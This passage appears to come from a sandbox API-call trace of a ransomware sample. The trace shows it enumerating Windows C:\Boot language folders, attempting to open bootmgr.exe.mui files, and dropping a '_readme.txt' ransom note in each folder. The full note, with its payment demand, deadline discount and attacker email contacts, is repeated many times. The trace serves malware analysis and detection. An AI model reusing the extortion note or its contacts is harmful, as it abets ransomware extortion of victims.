nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.827] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.827] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.827] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.828] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0111.828] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.828] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.828] PathFindFileNameW (pszPath="") returned="" [0111.828] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.828] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.828] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.828] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.828] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0111.828] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0111.828] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.828] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.828] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.829] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.829] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.829] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.829] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0111.829] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.829] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.829] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.829] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.829] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.829] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0111.829] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.829] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.829] PathFindFileNameW (pszPath="") returned="" [0111.829] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.830] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.830] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.830] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.830] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0111.830] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0111.830] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.830] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.830] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.830] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.831] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.831] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.831] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0111.831] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.831] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.831] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.831] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.831] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.831] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0111.831] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.831] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.831] PathFindFileNameW (pszPath="") returned="" [0111.831] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.832] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.832] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.832] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.832] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0111.832] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0111.832] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.832] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.832] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.832] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x825fba4 | out: 